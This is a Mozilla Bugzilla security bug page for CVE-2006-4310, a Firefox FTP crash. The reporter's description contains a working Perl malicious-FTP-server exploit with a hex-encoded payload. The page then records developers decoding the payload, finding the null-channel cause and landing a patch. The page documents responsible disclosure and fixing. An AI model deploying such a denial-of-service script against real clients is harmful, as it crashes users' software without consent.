The default bug view has changed. See this FAQ.

ftp: crash with multiple errors in a single packet (CVE-2006-4310)

RESOLVED FIXED

Status

()

Core
Networking: FTP
--
critical
RESOLVED FIXED
11 years ago
11 years ago

People

(Reporter: Nathan, Assigned: Biesinger)

Tracking

({crash, fixed1.8.0.8, fixed1.8.1})

1.8 Branch
crash, fixed1.8.0.8, fixed1.8.1
Points:
---
Bug Flags:
blocking1.8.1 +
blocking1.8.0.8 +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:dos], URL)

Attachments

(1 attachment, 1 obsolete attachment)

(Reporter)

Description

11 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6

Mozilla Firefox <= 1.5.0.6 (FTP Request) Remote Denial of Service Exploit:

Code:

#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35\".
"x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}


Note: I'm sorry that this is in Bugzilla, but there was no place to report exploits to Mozilla (that I could find).

To make use of the script: It's in PERL and does a Remote Denial of Service Exploit when the user logons onto the FTP.

Please patch this exploit up..

Sincerely, a white hat hacker.

Reproducible: Always

Actual Results:  
Remote Denial of Service Exploit

Expected Results:  
Prevented a Remote Denial of Service
Status: UNCONFIRMED → NEW
Component: File Handling → Networking: FTP
Ever confirmed: true
Product: Firefox → Core
QA Contact: file.handling → networking.ftp
Version: unspecified → 1.8 Branch
Security bugs belong in bugzilla, you did the right thing (email to security@mozilla.org works also): http://www.mozilla.org/security/#For_Developers

The testcase causes a crash for me, TB22863010Z @nsFTPChannel::GetFTPEventSink
That's not a happy talkback. It seems awfully short, and worse, if you can trust the crash location you really shouldn't get an access violation accessing a member variable. Has the channel itself been deleted by that point?

Darin: do you have time to help us out here?

Looks like this has been reported on Bugtraq and milw0rm, the confidential flag can be removed (but did get our attention).

http://www.securityfocus.com/archive/1/archive/1/444064/100/0/
http://www.milw0rm.com/exploits/2244
Assignee: nobody → darin
Group: security
Keywords: crash
Whiteboard: [sg:investigate]
I don't know that this is really a FF2 blocker if it's just a DOS triggered by a malicious FTP site (though it might be worse), but I'm nominating it because there's no way to nominate for "2.0.0.1". Please do not minus this bug for 1.8.1 until you provide a way to nominate for a follow-up release, otherwise important bugs get lost.
Flags: blocking1.9?
Flags: blocking1.8.1?
Flags: blocking1.8.0.8?

Updated

11 years ago
Flags: blocking1.8.1? → blocking1.8.1+

Updated

11 years ago
Flags: blocking1.8.1.1?
the mChannel of the nsFtpState is null...
(I can't reproduce this on trunk, fwiw, only on branch)
the de-obfuscated payload is:
220 Z
331 Z
500 DoS
500 Z

At the time of the crash, mResponseMsg is 500 Z
hm... so after the error to login we called StopProcessing() which killed various internal state, but when we get the OnDataAvailable callback we try accessing various members again...
trunk doesn't crash because it never nulls out mChannel in nsFTPState
Created attachment 237056 [details] [diff] [review]
patch

this also works as a trunk patch (with -F 7), and I think it's good there too even though we don't crash.

This should also be a safe branch patch, because Process() only does any work if mKeepRunning is true anyway.
Assignee: darin → cbiesinger
Status: NEW → ASSIGNED
Attachment #237056 - Flags: review?(darin)
(also, trunk doesn't have to null out mChannel, because nsBaseChannel drops the reference to the pump (which owns the stream) in its OnStopRequest)

Comment 11

11 years ago
Comment on attachment 237056 [details] [diff] [review]
patch

>Index: nsFtpConnectionThread.cpp
...
>+
>+        // There might have been an error in the processing of this line
>+        // Don't continue processing lines in that case
>+        if (!mKeepRunning)
>+            break;
>     }

This fix makes sense, but I think it might be nice to move it to the
top of the loop as a pre-condition for entering the loop.

Comment 12

11 years ago
Comment on attachment 237056 [details] [diff] [review]
patch

r=me but please consider moving to the top of the loop.
Attachment #237056 - Flags: review?(darin) → review+
checked in on trunk with mKeepAlive in the while() condition
Status: ASSIGNED → RESOLVED
Last Resolved: 11 years ago
Resolution: --- → FIXED
Created attachment 238100 [details] [diff] [review]
branch patch

Low risk patch to fix a crash. (this was reviewed by darin, this attachment is the version with his comment addressed)
Attachment #237056 - Attachment is obsolete: true
Attachment #238100 - Flags: approval1.8.1?
Flags: blocking1.9?
Comment on attachment 238100 [details] [diff] [review]
branch patch

a=dbaron on behalf of drivers.  Please check in to MOZILLA_1_8_BRANCH and add the fixed1.8.1 keyword once you have done so.
Attachment #238100 - Flags: approval1.8.1? → approval1.8.1+
Flags: blocking1.8.1.1?

Updated

11 years ago
Whiteboard: [sg:investigate] → [checkin needed (1.8 branch)][sg:investigate]
MOZILLA_1_8_BRANCH

Checking in nsFtpConnectionThread.cpp;
/cvsroot/mozilla/netwerk/protocol/ftp/src/nsFtpConnectionThread.cpp,v  <--  nsFtpConnectionThread.cpp
new revision: 1.296.8.3; previous revision: 1.296.8.2
done
Keywords: fixed1.8.1
Whiteboard: [checkin needed (1.8 branch)][sg:investigate] → [sg:investigate]
Comment on attachment 238100 [details] [diff] [review]
branch patch

fixes a crash in FTP code. the patch is also on trunk and 1_8_BRANCH, but I think it'd be good to fix this crash on 1.8.0.x too. It should be a low-risk patch.
Attachment #238100 - Flags: approval1.8.0.8?
Restoring lost blocking flag
Flags: blocking1.8.0.9?
Flags: blocking1.8.0.9? → blocking1.8.0.8?
Flags: blocking1.8.0.8? → blocking1.8.0.8+
Comment on attachment 238100 [details] [diff] [review]
branch patch

approved for 1.8.0 branch, a=dveditz for drivers
Attachment #238100 - Flags: approval1.8.0.9? → approval1.8.0.8+
MOZILLA_1_8_0_BRANCH:

Checking in nsFtpConnectionThread.cpp;
/cvsroot/mozilla/netwerk/protocol/ftp/src/nsFtpConnectionThread.cpp,v  <--  nsFtpConnectionThread.cpp
new revision: 1.296.8.1.2.1; previous revision: 1.296.8.1
done
Keywords: fixed1.8.0.8
OS: Windows XP → All
Hardware: PC → All
Summary: Mozilla Firefox version 1.5.0.6 exploit (DoS) → ftp: crash with multiple errors in a single packet
Summary: ftp: crash with multiple errors in a single packet → ftp: crash with multiple errors in a single packet (CVE-2006-4310)
Whiteboard: [sg:investigate] → [sg:dos]
You need to log in before you can comment on or make changes to this bug.